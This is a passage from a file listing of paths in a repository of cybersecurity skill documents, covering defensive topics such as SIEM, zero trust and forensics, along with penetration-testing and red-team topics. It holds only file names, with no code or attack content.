reference.md","skills/implementing-passwordless-auth-with-microsoft-entra/SKILL.md","skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md","skills/implementing-passwordless-authentication-with-fido2/SKILL.md","skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md","skills/implementing-passwordless-authentication-with-fido2/references/standards.md","skills/implementing-passwordless-authentication-with-fido2/references/workflows.md","skills/implementing-patch-management-for-ot-systems/SKILL.md","skills/implementing-patch-management-for-ot-systems/references/api-reference.md","skills/implementing-patch-management-workflow/SKILL.md","skills/implementing-patch-management-workflow/assets/template.md","skills/implementing-patch-management-workflow/references/api-reference.md","skills/implementing-patch-management-workflow/references/standards.md","skills/implementing-patch-management-workflow/references/workflows.md","skills/implementing-pci-dss-compliance-controls/SKILL.md","skills/implementing-pci-dss-compliance-controls/assets/template.md","skills/implementing-pci-dss-compliance-controls/references/api-reference.md","skills/implementing-pci-dss-compliance-controls/references/standards.md","skills/implementing-pci-dss-compliance-controls/references/workflows.md","skills/implementing-pod-security-admission-controller/SKILL.md","skills/implementing-pod-security-admission-controller/assets/template.md","skills/implementing-pod-security-admission-controller/references/api-reference.md","skills/implementing-pod-security-admission-controller/references/standards.md","skills/implementing-pod-security-admission-controller/references/workflows.md","skills/implementing-policy-as-code-with-open-policy-agent/SKILL.md","skills/implementing-policy-as-code-with-open-policy-agent/assets/template.md","skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md","skills/implementing-policy-as-code-with-open-policy-agent/references/standards.md","skills/implementing-policy-as-code-with-open-policy-agent/references/workflows.md","skills/implementing-privileged-access-management-with-cyberark/SKILL.md","skills/implementing-privileged-access-management-with-cyberark/assets/template.md","skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md","skills/implementing-privileged-access-management-with-cyberark/references/standards.md","skills/implementing-privileged-access-management-with-cyberark/references/workflows.md","skills/implementing-privileged-access-workstation/SKILL.md","skills/implementing-privileged-access-workstation/references/api-reference.md","skills/implementing-privileged-session-monitoring/SKILL.md","skills/implementing-privileged-session-monitoring/references/api-reference.md","skills/implementing-proofpoint-email-security-gateway/SKILL.md","skills/implementing-proofpoint-email-security-gateway/assets/template.md","skills/implementing-proofpoint-email-security-gateway/references/api-reference.md","skills/implementing-proofpoint-email-security-gateway/references/standards.md","skills/implementing-proofpoint-email-security-gateway/references/workflows.md","skills/implementing-purdue-model-network-segmentation/SKILL.md","skills/implementing-purdue-model-network-segmentation/references/api-reference.md","skills/implementing-ransomware-backup-strategy/SKILL.md","skills/implementing-ransomware-backup-strategy/assets/template.md","skills/implementing-ransomware-backup-strategy/references/api-reference.md","skills/implementing-ransomware-backup-strategy/references/standards.md","skills/implementing-ransomware-backup-strategy/references/workflows.md","skills/implementing-ransomware-kill-switch-detection/SKILL.md","skills/implementing-ransomware-kill-switch-detection/references/api-reference.md","skills/implementing-rapid7-insightvm-for-scanning/SKILL.md","skills/implementing-rapid7-insightvm-for-scanning/assets/template.md","skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md","skills/implementing-rapid7-insightvm-for-scanning/references/standards.md","skills/implementing-rapid7-insightvm-for-scanning/references/workflows.md","skills/implementing-rbac-hardening-for-kubernetes/SKILL.md","skills/implementing-rbac-hardening-for-kubernetes/assets/template.md","skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md","skills/implementing-rbac-hardening-for-kubernetes/references/standards.md","skills/implementing-rbac-hardening-for-kubernetes/references/workflows.md","skills/implementing-rsa-key-pair-management/SKILL.md","skills/implementing-rsa-key-pair-management/assets/template.md","skills/implementing-rsa-key-pair-management/references/api-reference.md","skills/implementing-rsa-key-pair-management/references/standards.md","skills/implementing-rsa-key-pair-management/references/workflows.md","skills/implementing-runtime-application-self-protection/SKILL.md","skills/implementing-runtime-application-self-protection/references/api-reference.md","skills/implementing-runtime-security-with-tetragon/SKILL.md","skills/implementing-runtime-security-with-tetragon/assets/template.md","skills/implementing-runtime-security-with-tetragon/references/api-reference.md","skills/implementing-runtime-security-with-tetragon/references/standards.md","skills/implementing-runtime-security-with-tetragon/references/workflows.md","skills/implementing-saml-sso-with-okta/SKILL.md","skills/implementing-saml-sso-with-okta/assets/template.md","skills/implementing-saml-sso-with-okta/references/api-reference.md","skills/implementing-saml-sso-with-okta/references/standards.md","skills/implementing-saml-sso-with-okta/references/workflows.md","skills/implementing-scim-provisioning-with-okta/SKILL.md","skills/implementing-scim-provisioning-with-okta/assets/template.md","skills/implementing-scim-provisioning-with-okta/references/api-reference.md","skills/implementing-scim-provisioning-with-okta/references/standards.md","skills/implementing-scim-provisioning-with-okta/references/workflows.md","skills/implementing-secret-scanning-with-gitleaks/SKILL.md","skills/implementing-secret-scanning-with-gitleaks/assets/template.md","skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md","skills/implementing-secret-scanning-with-gitleaks/references/standards.md","skills/implementing-secret-scanning-with-gitleaks/references/workflows.md","skills/implementing-secrets-management-with-vault/SKILL.md","skills/implementing-secrets-management-with-vault/references/api-reference.md","skills/implementing-secrets-scanning-in-ci-cd/SKILL.md","skills/implementing-secrets-scanning-in-ci-cd/references/api-reference.md","skills/implementing-security-chaos-engineering/SKILL.md","skills/implementing-security-chaos-engineering/references/api-reference.md","skills/implementing-security-information-sharing-with-stix2/SKILL.md","skills/implementing-security-information-sharing-with-stix2/references/api-reference.md","skills/implementing-security-monitoring-with-datadog/SKILL.md","skills/implementing-security-monitoring-with-datadog/references/api-reference.md","skills/implementing-semgrep-for-custom-sast-rules/SKILL.md","skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md","skills/implementing-semgrep-for-custom-sast-rules/references/standards.md","skills/implementing-siem-correlation-rules-for-apt/SKILL.md","skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md","skills/implementing-siem-use-case-tuning/SKILL.md","skills/implementing-siem-use-case-tuning/references/api-reference.md","skills/implementing-siem-use-cases-for-detection/SKILL.md","skills/implementing-siem-use-cases-for-detection/references/api-reference.md","skills/implementing-sigstore-for-software-signing/SKILL.md","skills/implementing-sigstore-for-software-signing/references/api-reference.md","skills/implementing-soar-automation-with-phantom/SKILL.md","skills/implementing-soar-automation-with-phantom/references/api-reference.md","skills/implementing-soar-playbook-for-phishing/SKILL.md","skills/implementing-soar-playbook-for-phishing/references/api-reference.md","skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md","skills/implementing-soar-playbook-with-palo-alto-xsoar/assets/template.md","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/standards.md","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/workflows.md","skills/implementing-stix-taxii-feed-integration/SKILL.md","skills/implementing-stix-taxii-feed-integration/assets/template.md","skills/implementing-stix-taxii-feed-integration/references/api-reference.md","skills/implementing-stix-taxii-feed-integration/references/standards.md","skills/implementing-stix-taxii-feed-integration/references/workflows.md","skills/implementing-supply-chain-security-with-in-toto/SKILL.md","skills/implementing-supply-chain-security-with-in-toto/assets/template.md","skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md","skills/implementing-supply-chain-security-with-in-toto/references/standards.md","skills/implementing-supply-chain-security-with-in-toto/references/workflows.md","skills/implementing-syslog-centralization-with-rsyslog/SKILL.md","skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md","skills/implementing-taxii-server-with-opentaxii/SKILL.md","skills/implementing-taxii-server-with-opentaxii/references/api-reference.md","skills/implementing-threat-intelligence-lifecycle-management/SKILL.md","skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md","skills/implementing-threat-modeling-with-mitre-attack/SKILL.md","skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md","skills/implementing-ticketing-system-for-incidents/SKILL.md","skills/implementing-ticketing-system-for-incidents/references/api-reference.md","skills/implementing-usb-device-control-policy/SKILL.md","skills/implementing-usb-device-control-policy/assets/template.md","skills/implementing-usb-device-control-policy/references/api-reference.md","skills/implementing-usb-device-control-policy/references/standards.md","skills/implementing-usb-device-control-policy/references/workflows.md","skills/implementing-velociraptor-for-ir-collection/SKILL.md","skills/implementing-velociraptor-for-ir-collection/assets/template.md","skills/implementing-velociraptor-for-ir-collection/references/api-reference.md","skills/implementing-velociraptor-for-ir-collection/references/standards.md","skills/implementing-velociraptor-for-ir-collection/references/workflows.md","skills/implementing-vulnerability-management-with-greenbone/SKILL.md","skills/implementing-vulnerability-management-with-greenbone/references/api-reference.md","skills/implementing-vulnerability-remediation-sla/SKILL.md","skills/implementing-vulnerability-remediation-sla/assets/template.md","skills/implementing-vulnerability-remediation-sla/references/api-reference.md","skills/implementing-vulnerability-remediation-sla/references/standards.md","skills/implementing-vulnerability-remediation-sla/references/workflows.md","skills/implementing-vulnerability-sla-breach-alerting/SKILL.md","skills/implementing-vulnerability-sla-breach-alerting/assets/template.md","skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md","skills/implementing-vulnerability-sla-breach-alerting/references/standards.md","skills/implementing-vulnerability-sla-breach-alerting/references/workflows.md","skills/implementing-web-application-logging-with-modsecurity/SKILL.md","skills/implementing-web-application-logging-with-modsecurity/references/api-reference.md","skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md","skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md","skills/implementing-zero-knowledge-proof-for-authentication/references/standards.md","skills/implementing-zero-knowledge-proof-for-authentication/references/workflows.md","skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md","skills/implementing-zero-standing-privilege-with-cyberark/assets/template.md","skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md","skills/implementing-zero-standing-privilege-with-cyberark/references/standards.md","skills/implementing-zero-standing-privilege-with-cyberark/references/workflows.md","skills/implementing-zero-trust-dns-with-nextdns/SKILL.md","skills/implementing-zero-trust-dns-with-nextdns/assets/template.md","skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md","skills/implementing-zero-trust-dns-with-nextdns/references/standards.md","skills/implementing-zero-trust-dns-with-nextdns/references/workflows.md","skills/implementing-zero-trust-for-saas-applications/SKILL.md","skills/implementing-zero-trust-for-saas-applications/references/api-reference.md","skills/implementing-zero-trust-in-cloud/SKILL.md","skills/implementing-zero-trust-in-cloud/references/api-reference.md","skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md","skills/implementing-zero-trust-network-access-with-zscaler/assets/template.md","skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md","skills/implementing-zero-trust-network-access-with-zscaler/references/standards.md","skills/implementing-zero-trust-network-access-with-zscaler/references/workflows.md","skills/implementing-zero-trust-network-access/SKILL.md","skills/implementing-zero-trust-network-access/references/api-reference.md","skills/implementing-zero-trust-with-beyondcorp/SKILL.md","skills/implementing-zero-trust-with-beyondcorp/references/api-reference.md","skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md","skills/implementing-zero-trust-with-hashicorp-boundary/assets/template.md","skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md","skills/implementing-zero-trust-with-hashicorp-boundary/references/standards.md","skills/implementing-zero-trust-with-hashicorp-boundary/references/workflows.md","skills/integrating-dast-with-owasp-zap-in-pipeline/SKILL.md","skills/integrating-dast-with-owasp-zap-in-pipeline/assets/template.md","skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md","skills/integrating-dast-with-owasp-zap-in-pipeline/references/standards.md","skills/integrating-dast-with-owasp-zap-in-pipeline/references/workflows.md","skills/integrating-sast-into-github-actions-pipeline/SKILL.md","skills/integrating-sast-into-github-actions-pipeline/assets/template.md","skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md","skills/integrating-sast-into-github-actions-pipeline/references/standards.md","skills/integrating-sast-into-github-actions-pipeline/references/workflows.md","skills/intercepting-mobile-traffic-with-burpsuite/SKILL.md","skills/intercepting-mobile-traffic-with-burpsuite/assets/template.md","skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md","skills/intercepting-mobile-traffic-with-burpsuite/references/standards.md","skills/intercepting-mobile-traffic-with-burpsuite/references/workflows.md","skills/investigating-insider-threat-indicators/SKILL.md","skills/investigating-insider-threat-indicators/references/api-reference.md","skills/investigating-phishing-email-incident/SKILL.md","skills/investigating-phishing-email-incident/references/api-reference.md","skills/investigating-ransomware-attack-artifacts/SKILL.md","skills/investigating-ransomware-attack-artifacts/references/api-reference.md","skills/managing-cloud-identity-with-okta/SKILL.md","skills/managing-cloud-identity-with-okta/references/api-reference.md","skills/managing-intelligence-lifecycle/SKILL.md","skills/managing-intelligence-lifecycle/references/api-reference.md","skills/managing-third-party-vendor-risk/SKILL.md","skills/managing-third-party-vendor-risk/assets/template.md","skills/managing-third-party-vendor-risk/references/standards.md","skills/mapping-attack-paths-with-bloodhound-ce/SKILL.md","skills/mapping-attack-paths-with-bloodhound-ce/references/api-reference.md","skills/mapping-attack-paths-with-bloodhound-ce/references/standards.md","skills/mapping-mitre-attack-techniques/SKILL.md","skills/mapping-mitre-attack-techniques/references/api-reference.md","skills/migrating-to-post-quantum-cryptography/SKILL.md","skills/migrating-to-post-quantum-cryptography/references/api-reference.md","skills/migrating-to-post-quantum-cryptography/references/standards.md","skills/modeling-threats-with-opencti/SKILL.md","skills/modeling-threats-with-opencti/references/api-reference.md","skills/modeling-threats-with-opencti/references/standards.md","skills/monitoring-darkweb-sources/SKILL.md","skills/monitoring-darkweb-sources/references/api-reference.md","skills/monitoring-scada-modbus-traffic-anomalies/SKILL.md","skills/monitoring-scada-modbus-traffic-anomalies/references/api-reference.md","skills/moving-laterally-with-netexec/SKILL.md","skills/moving-laterally-with-netexec/references/api-reference.md","skills/moving-laterally-with-netexec/references/standards.md","skills/operating-havoc-c2/SKILL.md","skills/operating-havoc-c2/references/api-reference.md","skills/operating-havoc-c2/references/standards.md","skills/operating-sliver-c2/SKILL.md","skills/operating-sliver-c2/references/api-reference.md","skills/operating-sliver-c2/references/standards.md","skills/operationalizing-misp-threat-feeds/SKILL.md","skills/operationalizing-misp-threat-feeds/references/api-reference.md","skills/operationalizing-misp-threat-feeds/references/standards.md","skills/orchestrating-llm-attacks-with-pyrit/SKILL.md","skills/orchestrating-llm-attacks-with-pyrit/references/api-reference.md","skills/orchestrating-llm-attacks-with-pyrit/references/standards.md","skills/parsing-artifacts-with-eric-zimmerman-tools/SKILL.md","skills/parsing-artifacts-with-eric-zimmerman-tools/references/api-reference.md","skills/parsing-artifacts-with-eric-zimmerman-tools/references/standards.md","skills/performing-access-recertification-with-saviynt/SKILL.md","skills/performing-access-recertification-with-saviynt/assets/template.md","skills/performing-access-recertification-with-saviynt/references/api-reference.md","skills/performing-access-recertification-with-saviynt/references/standards.md","skills/performing-access-recertification-with-saviynt/references/workflows.md","skills/performing-access-review-and-certification/SKILL.md","skills/performing-access-review-and-certification/assets/template.md","skills/performing-access-review-and-certification/references/api-reference.md","skills/performing-access-review-and-certification/references/standards.md","skills/performing-access-review-and-certification/references/workflows.md","skills/performing-active-directory-bloodhound-analysis/SKILL.md","skills/performing-active-directory-bloodhound-analysis/assets/template.md","skills/performing-active-directory-bloodhound-analysis/references/api-reference.md","skills/performing-active-directory-bloodhound-analysis/references/standards.md","skills/performing-active-directory-bloodhound-analysis/references/workflows.md","skills/performing-active-directory-compromise-investigation/SKILL.md","skills/performing-active-directory-compromise-investigation/assets/template.md","skills/performing-active-directory-compromise-investigation/references/api-reference.md","skills/performing-active-directory-compromise-investigation/references/standards.md","skills/performing-active-directory-compromise-investigation/references/workflows.md","skills/performing-active-directory-forest-trust-attack/SKILL.md","skills/performing-active-directory-forest-trust-attack/references/api-reference.md","skills/performing-active-directory-penetration-test/SKILL.md","skills/performing-active-directory-penetration-test/assets/template.md","skills/performing-active-directory-penetration-test/references/api-reference.md","skills/performing-active-directory-penetration-test/references/standards.md","skills/performing-active-directory-penetration-test/references/workflows.md","skills/performing-active-directory-vulnerability-assessment/SKILL.md","skills/performing-active-directory-vulnerability-assessment/assets/template.md","skills/performing-active-directory-vulnerability-assessment/references/api-reference.md","skills/performing-active-directory-vulnerability-assessment/references/standards.md","skills/performing-active-directory-vulnerability-assessment/references/workflows.md","skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md","skills/performing-adversary-in-the-middle-phishing-detection/assets/template.md","skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md","skills/performing-adversary-in-the-middle-phishing-detection/references/standards.md","skills/performing-adversary-in-the-middle-phishing-detection/references/workflows.md","skills/performing-agentless-vulnerability-scanning/SKILL.md","skills/performing-agentless-vulnerability-scanning/assets/template.md","skills/performing-agentless-vulnerability-scanning/references/api-reference.md","skills/performing-agentless-vulnerability-scanning/references/standards.md","skills/performing-agentless-vulnerability-scanning/references/workflows.md","skills/performing-ai-driven-osint-correlation/SKILL.md","skills/performing-ai-driven-osint-correlation/references/api-reference.md","skills/performing-alert-triage-with-elastic-siem/SKILL.md","skills/performing-alert-triage-with-elastic-siem/assets/template.md","skills/performing-alert-triage-with-elastic-siem/references/api-reference.md","skills/performing-alert-triage-with-elastic-siem/references/standards.md","skills/performing-alert-triage-with-elastic-siem/references/workflows.md","skills/performing-android-app-static-analysis-with-mobsf/SKILL.md","skills/performing-android-app-static-analysis-with-mobsf/assets/template.md","skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md","skills/performing-android-app-static-analysis-with-mobsf/references/standards.md","skills/performing-android-app-static-analysis-with-mobsf/references/workflows.md","skills/performing-api-fuzzing-with-restler/SKILL.md","skills/performing-api-fuzzing-with-restler/references/api-reference.md","skills/performing-api-inventory-and-discovery/SKILL.md","skills/performing-api-inventory-and-discovery/references/api-reference.md","skills/performing-api-rate-limiting-bypass/SKILL.md","skills/performing-api-rate-limiting-bypass/references/api-reference.md","skills/performing-api-security-testing-with-postman/SKILL.md","skills/performing-api-security-testing-with-postman/references/api-reference.md","skills/performing-arp-spoofing-attack-simulation/SKILL.md","skills/performing-arp-spoofing-attack-simulation/references/api-reference.md","skills/performing-asset-criticality-scoring-for-vulns/SKILL.md","skills/performing-asset-criticality-scoring-for-vulns/assets/template.md","skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md","skills/performing-asset-criticality-scoring-for-vulns/references/standards.md","skills/performing-asset-criticality-scoring-for-vulns/references/workflows.md","skills/performing-authenticated-scan-with-openvas/SKILL.md","skills/performing-authenticated-scan-with-openvas/assets/template.md","skills/performing-authenticated-scan-with-openvas/references/api-reference.md","skills/performing-authenticated-scan-with-openvas/references/standards.md","skills/performing-authenticated-scan-with-openvas/references/workflows.md","skills/performing-authenticated-vulnerability-scan/SKILL.md","skills/performing-authenticated-vulnerability-scan/assets/template.md","skills/performing-authenticated-vulnerability-scan/references/api-reference.md","skills/performing-authenticated-vulnerability-scan/references/standards.md","skills/performing-authenticated-vulnerability-scan/references/workflows.md","skills/performing-automated-malware-analysis-with-cape/SKILL.md","skills/performing-automated-malware-analysis-with-cape/assets/template.md","skills/performing-automated-malware-analysis-with-cape/references/api-reference.md","skills/performing-automated-malware-analysis-with-cape/references/standards.md","skills/performing-automated-malware-analysis-with-cape/references/workflows.md","skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md","skills/performing-aws-account-enumeration-with-scout-suite/assets/template.md","skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md","skills/performing-aws-account-enumeration-with-scout-suite/references/standards.md","skills/performing-aws-account-enumeration-with-scout-suite/references/workflows.md","skills/performing-aws-privilege-escalation-assessment/SKILL.md","skills/performing-aws-privilege-escalation-assessment/references/api-reference.md","skills/performing-bandwidth-throttling-attack-simulation/SKILL.md","skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md","skills/performing-binary-exploitation-analysis/SKILL.md","skills/performing-binary-exploitation-analysis/references/api-reference.md","skills/performing-blind-ssrf-exploitation/SKILL.md","skills/performing-blind-ssrf-exploitation/references/api-reference.md","skills/performing-bluetooth-security-assessment/SKILL.md","skills/performing-bluetooth-security-assessment/references/api-reference.md","skills/performing-brand-monitoring-for-impersonation/SKILL.md","skills/performing-brand-monitoring-for-impersonation/references/api-reference.md","skills/performing-clickjacking-attack-test/SKILL.md","skills/performing-clickjacking-attack-test/references/api-reference.md","skills/performing-cloud-asset-inventory-with-cartography/SKILL.md","skills/performing-cloud-asset-inventory-with-cartography/assets/template.md","skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md","skills/performing-cloud-asset-inventory-with-cartography/references/standards.md","skills/performing-cloud-asset-inventory-with-cartography/references/workflows.md","skills/performing-cloud-forensics-investigation/SKILL.md","skills/performing-cloud-forensics-investigation/references/api-reference.md","skills/performing-cloud-forensics-with-aws-cloudtrail/SKILL.md","skills/performing-cloud-forensics-with-aws-cloudtrail/references/api-reference.md","skills/performing-cloud-incident-containment-procedures/SKILL.md","skills/performing-cloud-incident-containment-procedures/assets/template.md","skills/performing-cloud-incident-containment-procedures/references/api-reference.md","skills/performing-cloud-incident-containment-procedures/references/standards.md","skills/performing-cloud-incident-containment-procedures/references/workflows.md","skills/performing-cloud-log-forensics-with-athena/SKILL.md","skills/performing-cloud-log-forensics-with-athena/references/api-reference.md","skills/performing-cloud-log-forensics-with-athena/references/athena-forensics-reference.md","skills/performing-cloud-native-forensics-with-falco/SKILL.md","skills/performing-cloud-native-forensics-with-falco/references/api-reference.md","skills/performing-cloud-native-threat-hunting-with-aws-detective/SKILL.md","skills/performing-cloud-native-threat-hunting-with-aws-detective/assets/template.md","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/api-reference.md","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/standards.md","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/workflows.md","skills/performing-cloud-penetration-testing-with-pacu/SKILL.md","skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md","skills/performing-cloud-storage-forensic-acquisition/SKILL.md","skills/performing-cloud-storage-forensic-acquisition/assets/template.md","skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md","skills/performing-cloud-storage-forensic-acquisition/references/standards.md","skills/performing-cloud-storage-forensic-acquisition/references/workflows.md","skills/performing-container-escape-detection/SKILL.md","skills/performing-container-escape-detection/references/api-reference.md","skills/performing-container-image-hardening/SKILL.md","skills/performing-container-image-hardening/assets/template.md","skills/performing-container-image-hardening/references/api-reference.md","skills/performing-container-image-hardening/references/standards.md","skills/performing-container-image-hardening/references/workflows.md","skills/performing-container-security-scanning-with-trivy/SKILL.md","skills/performing-container-security-scanning-with-trivy/references/api-reference.md","skills/performing-content-security-policy-bypass/SKILL.md","skills/performing-content-security-policy-bypass/references/api-reference.md","skills/performing-credential-access-with-lazagne/SKILL.md","skills/performing-credential-access-with-lazagne/assets/template.md","skills/performing-credential-access-with-lazagne/references/api-reference.md","skills/performing-credential-access-with-lazagne/references/standards.md","skills/performing-credential-access-with-lazagne/references/workflows.md","skills/performing-cryptographic-audit-of-application/SKILL.md","skills/performing-cryptographic-audit-of-application/assets/template.md","skills/performing-cryptographic-audit-of-application/references/api-reference.md","skills/performing-cryptographic-audit-of-application/references/standards.md","skills/performing-cryptographic-audit-of-application/references/workflows.md","skills/performing-csrf-attack-simulation/SKILL.md","skills/performing-csrf-attack-simulation/references/api-reference.md","skills/performing-cve-prioritization-with-kev-catalog/SKILL.md","skills/performing-cve-prioritization-with-kev-catalog/assets/template.md","skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md","skills/performing-cve-prioritization-with-kev-catalog/references/standards.md","skills/performing-cve-prioritization-with-kev-catalog/references/workflows.md","skills/performing-dark-web-monitoring-for-threats/SKILL.md","skills/performing-dark-web-monitoring-for-threats/assets/template.md","skills/performing-dark-web-monitoring-for-threats/references/api-reference.md","skills/performing-dark-web-monitoring-for-threats/references/standards.md","skills/performing-dark-web-monitoring-for-threats/references/workflows.md","skills/performing-deception-technology-deployment/SKILL.md","skills/performing-deception-technology-deployment/references/api-reference.md","skills/performing-directory-traversal-testing/SKILL.md","skills/performing-directory-traversal-testing/references/api-reference.md","skills/performing-disk-forensics-investigation/SKILL.md","skills/performing-disk-forensics-investigation/references/api-reference.md","skills/performing-dmarc-policy-enforcement-rollout/SKILL.md","skills/performing-dmarc-policy-enforcement-rollout/assets/template.md","skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md","skills/performing-dmarc-policy-enforcement-rollout/references/standards.md","skills/performing-dmarc-policy-enforcement-rollout/references/workflows.md","skills/performing-dns-enumeration-and-zone-transfer/SKILL.md","skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md","skills/performing-dns-tunneling-detection/SKILL.md","skills/performing-dns-tunneling-detection/references/api-reference.md","skills/performing-docker-bench-security-assessment/SKILL.md","skills/performing-docker-bench-security-assessment/assets/template.md","skills/performing-docker-bench-security-assessment/references/api-reference.md","skills/performing-docker-bench-security-assessment/references/standards.md","skills/performing-docker-bench-security-assessment/references/workflows.md","skills/performing-dynamic-analysis-of-android-app/SKILL.md","skills/performing-dynamic-analysis-of-android-app/assets/template.md","skills/performing-dynamic-analysis-of-android-app/references/api-reference.md","skills/performing-dynamic-analysis-of-android-app/references/standards.md","skills/performing-dynamic-analysis-of-android-app/references/workflows.md","skills/performing-dynamic-analysis-with-any-run/SKILL.md","skills/performing-dynamic-analysis-with-any-run/references/api-reference.md","skills/performing-endpoint-forensics-investigation/SKILL.md","skills/performing-endpoint-forensics-investigation/assets/template.md","skills/performing-endpoint-forensics-investigation/references/api-reference.md","skills/performing-endpoint-forensics-investigation/references/standards.md","skills/performing-endpoint-forensics-investigation/references/workflows.md","skills/performing-endpoint-vulnerability-remediation/SKILL.md","skills/performing-endpoint-vulnerability-remediation/assets/template.md","skills/performing-endpoint-vulnerability-remediation/references/api-reference.md","skills/performing-endpoint-vulnerability-remediation/references/standards.md","skills/performing-endpoint-vulnerability-remediation/references/workflows.md","skills/performing-entitlement-review-with-sailpoint-iiq/SKILL.md","skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md","skills/performing-external-network-penetration-test/SKILL.md","skills/performing-external-network-penetration-test/assets/template.md","skills/performing-external-network-penetration-test/references/api-reference.md","skills/performing-external-network-penetration-test/references/standards.md","skills/performing-external-network-penetration-test/references/workflows.md","skills/performing-false-positive-reduction-in-siem/SKILL.md","skills/performing-false-positive-reduction-in-siem/assets/template.md","skills/performing-false-positive-reduction-in-siem/references/api-reference.md","skills/performing-false-positive-reduction-in-siem/references/standards.md","skills/performing-false-positive-reduction-in-siem/references/workflows.md","skills/performing-file-carving-with-foremost/SKILL.md","skills/performing-file-carving-with-foremost/references/api-reference.md","skills/performing-firmware-extraction-with-binwalk/SKILL.md","skills/performing-firmware-extraction-with-binwalk/references/api-reference.md","skills/performing-firmware-malware-analysis/SKILL.md","skills/performing-firmware-malware-analysis/references/api-reference.md","skills/performing-fuzzing-with-aflplusplus/SKILL.md","skills/performing-fuzzing-with-aflplusplus/references/api-reference.md","skills/performing-gcp-penetration-testing-with-gcpbucketbrute/SKILL.md","skills/performing-gcp-penetration-testing-with-gcpbucketbrute/references/api-reference.md","skills/performing-gcp-security-assessment-with-forseti/SKILL.md","skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md","skills/performing-graphql-depth-limit-attack/SKILL.md","skills/performing-graphql-depth-limit-attack/references/api-reference.md","skills/performing-graphql-introspection-attack/SKILL.md","skills/performing-graphql-introspection-attack/references/api-reference.md","skills/performing-graphql-security-assessment/SKILL.md","skills/performing-graphql-security-assessment/references/api-reference.md","skills/performing-hardware-security-module-integration/SKILL.md","skills/performing-hardware-security-module-integration/references/api-reference.md","skills/performing-hash-cracking-with-hashcat/SKILL.md","skills/performing-hash-cracking-with-hashcat/assets/template.md","skills/performing-hash-cracking-with-hashcat/references/api-reference.md","skills/performing-hash-cracking-with-hashcat/references/standards.md","skills/performing-hash-cracking-with-hashcat/references/workflows.md","skills/performing-http-parameter-pollution-attack/SKILL.md","skills/performing-http-parameter-pollution-attack/references/api-reference.md","skills/performing-ics-asset-discovery-with-claroty/SKILL.md","skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md","skills/performing-indicator-lifecycle-management/SKILL.md","skills/performing-indicator-lifecycle-management/assets/template.md","skills/performing-indicator-lifecycle-management/references/api-reference.md","skills/performing-indicator-lifecycle-management/references/standards.md","skills/performing-indicator-lifecycle-management/references/workflows.md","skills/performing-initial-access-with-evilginx3/SKILL.md","skills/performing-initial-access-with-evilginx3/assets/template.md","skills/performing-initial-access-with-evilginx3/references/api-reference.md","skills/performing-initial-access-with-evilginx3/references/standards.md","skills/performing-initial-access-with-evilginx3/references/workflows.md","skills/performing-insider-threat-investigation/SKILL.md","skills/performing-insider-threat-investigation/references/api-reference.md","skills/performing-ioc-enrichment-automation/SKILL.md","skills/performing-ioc-enrichment-automation/references/api-reference.md","skills/performing-ios-app-security-assessment/SKILL.md","skills/performing-ios-app-security-assessment/references/api-reference.md","skills/performing-iot-security-assessment/SKILL.md","skills/performing-iot-security-assessment/references/api-reference.md","skills/performing-ip-reputation-analysis-with-shodan/SKILL.md","skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md","skills/performing-jwt-none-algorithm-attack/SKILL.md","skills/performing-jwt-none-algorithm-attack/references/api-reference.md","skills/performing-kerberoasting-attack/SKILL.md","skills/performing-kerberoasting-attack/assets/template.md","skills/performing-kerberoasting-attack/references/api-reference.md","skills/performing-kerberoasting-attack/references/standards.md","skills/performing-kerberoasting-attack/references/workflows.md","skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md","skills/performing-kubernetes-cis-benchmark-with-kube-bench/assets/template.md","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/standards.md","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/workflows.md","skills/performing-kubernetes-etcd-security-assessment/SKILL.md","skills/p